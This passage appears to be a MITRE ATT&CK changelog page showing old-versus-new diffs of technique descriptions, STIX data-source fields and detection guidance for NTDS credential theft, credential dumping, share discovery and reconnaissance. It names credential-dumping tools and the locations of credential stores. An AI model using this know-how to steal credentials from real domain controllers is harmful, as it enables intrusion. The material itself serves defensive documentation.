| t | 1 | Adversaries may attempt to access or create a copy of the Ac | t | 1 | Adversaries may attempt to access or create a copy of the Ac |
| > | tive Directory domain database in order to steal credential | > | tive Directory domain database in order to steal credential | ||
| > | information, as well as obtain other information about domai | > | information, as well as obtain other information about domai | ||
| > | n members such as devices, users, and access rights. By defa | > | n members such as devices, users, and access rights. By defa | ||
| > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | > | ult, the NTDS file (NTDS.dit) is located in <code>%SystemRoo | ||
| > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | > | t%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wi | ||
| > | kipedia Active Directory) In addition to looking NTDS files | > | kipedia Active Directory) In addition to looking for NTDS f | ||
| > | on active Domain Controllers, attackers may search for back | > | iles on active Domain Controllers, attackers may search for | ||
| > | ups that contain the same or similar information.(Citation: | > | backups that contain the same or similar information.(Citati | ||
| > | Metcalf 2015) The following tools and techniques can be use | > | on: Metcalf 2015) The following tools and techniques can be | ||
| > | d to enumerate the NTDS file and the contents of the entire | > | used to enumerate the NTDS file and the contents of the ent | ||
| > | Active Directory hashes. * Volume Shadow Copy * secretsdump | > | ire Active Directory hashes. * Volume Shadow Copy * secrets | ||
| > | .py * Using the in-built Windows tool, ntdsutil.exe * Invoke | > | dump.py * Using the in-built Windows tool, ntdsutil.exe * In | ||
| > | -NinjaCopy | > | voke-NinjaCopy | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:39:39.949000+00:00 | 2020-12-14 23:08:02.782000+00:00 |
| description | Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
| Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in %SystemRoot%\NTDS\Ntds.dit of a domain controller.(Citation: Wikipedia Active Directory)
In addition to looking for NTDS files on active Domain Controllers, attackers may search for backups that contain the same or similar information.(Citation: Metcalf 2015)
The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.
* Volume Shadow Copy
* secretsdump.py
* Using the in-built Windows tool, ntdsutil.exe
* Invoke-NinjaCopy
|
| x_mitre_data_sources[0] | Windows event logs | File: File Access |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | PowerShell logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network security appliances that can | > | k security appliances that can be used during targeting. Inf | ||
| > | be used during targeting. Information about network securit | > | ormation about network security appliances may include a var | ||
| > | y appliances may include a variety of details, such as the e | > | iety of details, such as the existence and specifics of depl | ||
| > | xistence and specifics of deployed firewalls, content filter | > | oyed firewalls, content filters, and proxies/bastion hosts. | ||
| > | s, and proxies/bastion hosts. Adversaries may also target in | > | Adversaries may also target information about victim network | ||
| > | formation about victim network-based intrusion detection sys | > | -based intrusion detection systems (NIDS) or other appliance | ||
| > | tems (NIDS) or other appliances related to defensive cyberse | > | s related to defensive cybersecurity operations. Adversarie | ||
| > | curity operations. Adversaries may gather this information | > | s may gather this information in various ways, such as direc | ||
| > | in various ways, such as direct collection actions via [Acti | > | t collection actions via [Active Scanning](https://attack.mi | ||
| > | ve Scanning](https://attack.mitre.org/techniques/T1595) or [ | > | tre.org/techniques/T1595) or [Phishing for Information](http | ||
| > | Phishing for Information](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1598).(Citation: Nmap Firew | ||
| > | s/T1598).(Citation: Nmap Firewalls NIDS) Information about n | > | alls NIDS) Information about network security appliances may | ||
| > | etwork security appliances may also be exposed to adversarie | > | also be exposed to adversaries via online or other accessib | ||
| > | s via online or other accessible data sets (ex: [Search Vict | > | le data sets (ex: [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)). Gathering this information | ||
| > | )). Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Technical Da | > | (ex: [Search Open Technical Databases](https://attack.mitre. | ||
| > | tabases](https://attack.mitre.org/techniques/T1596) or [Sear | > | org/techniques/T1596) or [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133)). | > | niques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:13.578000+00:00 | 2021-04-15 03:31:54.275000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may remove share connections that are no longer | t | 1 | Adversaries may remove share connections that are no longer |
| > | useful in order to clean up traces of their operation. Windo | > | useful in order to clean up traces of their operation. Windo | ||
| > | ws shared drive and [Windows Admin Shares](https://attack.mi | > | ws shared drive and [SMB/Windows Admin Shares](https://attac | ||
| > | tre.org/techniques/T1077) connections can be removed when no | > | k.mitre.org/techniques/T1021/002) connections can be removed | ||
| > | longer needed. [Net](https://attack.mitre.org/software/S003 | > | when no longer needed. [Net](https://attack.mitre.org/softw | ||
| > | 9) is an example utility that can be used to remove network | > | are/S0039) is an example utility that can be used to remove | ||
| > | share connections with the <code>net use \\system\share /del | > | network share connections with the <code>net use \\system\sh | ||
| > | ete</code> command. (Citation: Technet Net Use) | > | are /delete</code> command. (Citation: Technet Net Use) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-31 12:39:18.816000+00:00 | 2021-02-09 13:31:01.970000+00:00 |
| description | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Creation |
| x_mitre_data_sources[1] | Packet capture | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process monitoring | User Account: User Account Authentication |
Current version: 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | ||
| > | ware/S0039) can be used to query a remote system for availab | > | ware/S0039) can be used to query a remote system for availab | ||
| > | le shared drives using the <code>net view \\remotesystem</co | > | le shared drives using the <code>net view \\\\remotesystem</ | ||
| > | de> command. It can also be used to query shared drives on t | > | code> command. It can also be used to query shared drives on | ||
| > | he local system using <code>net share</code>. | > | the local system using <code>net share</code>. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-07 18:10:06.463000+00:00 | 2020-12-29 19:07:11.154000+00:00 |
| description | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Network protocol analysis | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process use of network |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network topology that can be used du | > | k topology that can be used during targeting. Information ab | ||
| > | ring targeting. Information about network topologies may inc | > | out network topologies may include a variety of details, inc | ||
| > | lude a variety of details, including the physical and/or log | > | luding the physical and/or logical arrangement of both exter | ||
| > | ical arrangement of both external-facing and internal networ | > | nal-facing and internal network environments. This informati | ||
| > | k environments. This information may also include specifics | > | on may also include specifics regarding network devices (gat | ||
| > | regarding network devices (gateways, routers, etc.) and othe | > | eways, routers, etc.) and other infrastructure. Adversaries | ||
| > | r infrastructure. Adversaries may gather this information i | > | may gather this information in various ways, such as direct | ||
| > | n various ways, such as direct collection actions via [Activ | > | collection actions via [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [P | > | re.org/techniques/T1595) or [Phishing for Information](https | ||
| > | hishing for Information](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1598). Information about net | ||
| > | /T1598). Information about network topologies may also be ex | > | work topologies may also be exposed to adversaries via onlin | ||
| > | posed to adversaries via online or other accessible data set | > | e or other accessible data sets (ex: [Search Victim-Owned We | ||
| > | s (ex: [Search Victim-Owned Websites](https://attack.mitre.o | > | bsites](https://attack.mitre.org/techniques/T1594)).(Citatio | ||
| > | rg/techniques/T1594)).(Citation: DNS Dumpster) Gathering thi | > | n: DNS Dumpster) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Search Open | ||
| > | connaissance (ex: [Search Open Technical Databases](https:// | > | Technical Databases](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1596) or [Search Open Websites/ | > | 596) or [Search Open Websites/Domains](https://attack.mitre. | ||
| > | Domains](https://attack.mitre.org/techniques/T1593)), establ | > | org/techniques/T1593)), establishing operational resources ( | ||
| > | ishing operational resources (ex: [Acquire Infrastructure](h | > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | ||
| > | rastructure](https://attack.mitre.org/techniques/T1584)), an | > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | ||
| > | d/or initial access (ex: [External Remote Services](https:// | > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1133)). | > | 133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:40.188000+00:00 | 2021-04-15 03:33:02.476000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network trust dependencies that can | > | k trust dependencies that can be used during targeting. Info | ||
| > | be used during targeting. Information about network trusts m | > | rmation about network trusts may include a variety of detail | ||
| > | ay include a variety of details, including second or third-p | > | s, including second or third-party organizations/domains (ex | ||
| > | arty organizations/domains (ex: managed service providers, c | > | : managed service providers, contractors, etc.) that have co | ||
| > | ontractors, etc.) that have connected (and potentially eleva | > | nnected (and potentially elevated) network access. Adversar | ||
| > | ted) network access. Adversaries may gather this informatio | > | ies may gather this information in various ways, such as dir | ||
| > | n in various ways, such as direct elicitation via [Phishing | > | ect elicitation via [Phishing for Information](https://attac | ||
| > | for Information](https://attack.mitre.org/techniques/T1598). | > | k.mitre.org/techniques/T1598). Information about network tru | ||
| > | Information about network trusts may also be exposed to adv | > | sts may also be exposed to adversaries via online or other a | ||
| > | ersaries via online or other accessible data sets (ex: [Sear | > | ccessible data sets (ex: [Search Open Technical Databases](h | ||
| > | ch Open Technical Databases](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1596)).(Citation: Pentes | ||
| > | ques/T1596)).(Citation: Pentesting AD Forests) Gathering thi | > | ting AD Forests) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Search | ||
| > | /techniques/T1595) or [Search Open Websites/Domains](https:/ | > | Open Websites/Domains](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1593)), establishing operation | > | 1593)), establishing operational resources (ex: [Acquire Inf | ||
| > | al resources (ex: [Acquire Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1583) or [ | ||
| > | tre.org/techniques/T1583) or [Compromise Infrastructure](htt | > | Compromise Infrastructure](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1584)), and/or initial acc | > | es/T1584)), and/or initial access (ex: [Trusted Relationship | ||
| > | ess (ex: [Trusted Relationship](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1199)). | ||
| > | hniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:05:03.816000+00:00 | 2021-04-15 03:34:22.917000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-09 20:46:00.758000+00:00 | 2021-02-09 14:15:25.186000+00:00 |
| x_mitre_data_sources[0] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Access |
| x_mitre_data_sources[2] | PowerShell logs | Command: Command Execution |
| x_mitre_data_sources[3] | Process command-line parameters | File: File Access |
| x_mitre_detection | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the | ### Windows
Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)
### Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/, where the |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Windows Registry: Windows Registry Key Access | |
| x_mitre_data_sources | Active Directory: Active Directory Object Access | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:24:20.601000+00:00 | 2021-04-24 13:19:18.594000+00:00 |
| x_mitre_data_sources[0] | Network protocol analysis | File: File Content |
| x_mitre_data_sources[1] | Process use of network | File: File Metadata |
| x_mitre_data_sources[2] | File monitoring | File: File Creation |
| x_mitre_data_sources[3] | Malware reverse engineering | Process: Process Creation |
| x_mitre_data_sources[4] | Binary file metadata | Command: Command Execution |
| x_mitre_data_sources[5] | Process command-line parameters | Command: Command Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Environment variable | |
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Windows event logs | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Email gateway | |
| x_mitre_data_sources | SSL/TLS inspection |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal capabilities that can be us |
| > | al capabilities that can be used during targeting. Rather th | > | ed during targeting. Rather than developing their own capabi | ||
| > | an developing their own capabilities in-house, adversaries m | > | lities in-house, adversaries may purchase, freely download, | ||
| > | ay purchase, freely download, or steal them. Activities may | > | or steal them. Activities may include the acquisition of mal | ||
| > | include the acquisition of malware, software (including lice | > | ware, software (including licenses), exploits, certificates, | ||
| > | nses), exploits, certificates, and information relating to v | > | and information relating to vulnerabilities. Adversaries ma | ||
| > | ulnerabilities. Adversaries may obtain capabilities to suppo | > | y obtain capabilities to support their operations throughout | ||
| > | rt their operations throughout numerous phases of the advers | > | numerous phases of the adversary lifecycle. In addition to | ||
| > | ary lifecycle. In addition to downloading free malware, sof | > | downloading free malware, software, and exploits from the i | ||
| > | tware, and exploits from the internet, adversaries may purch | > | nternet, adversaries may purchase these capabilities from th | ||
| > | ase these capabilities from third-party entities. Third-part | > | ird-party entities. Third-party entities can include technol | ||
| > | y entities can include technology companies that specialize | > | ogy companies that specialize in malware and exploits, crimi | ||
| > | in malware and exploits, criminal marketplaces, or from indi | > | nal marketplaces, or from individuals.(Citation: NationsBuyi | ||
| > | viduals.(Citation: NationsBuying)(Citation: PegasusCitizenLa | > | ng)(Citation: PegasusCitizenLab) In addition to purchasing | ||
| > | b) In addition to purchasing capabilities, adversaries may | > | capabilities, adversaries may steal capabilities from third- | ||
| > | steal capabilities from third-party entities (including othe | > | party entities (including other adversaries). This can inclu | ||
| > | r adversaries). This can include stealing software licenses, | > | de stealing software licenses, malware, SSL/TLS and code-sig | ||
| > | malware, SSL/TLS and code-signing certificates, or raiding | > | ning certificates, or raiding closed databases of vulnerabil | ||
| > | closed databases of vulnerabilities or exploits.(Citation: D | > | ities or exploits.(Citation: DiginotarCompromise) | ||
| > | iginotarCompromise) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:22:21.135000+00:00 | 2021-04-15 03:15:21.193000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab) In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise) | Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal 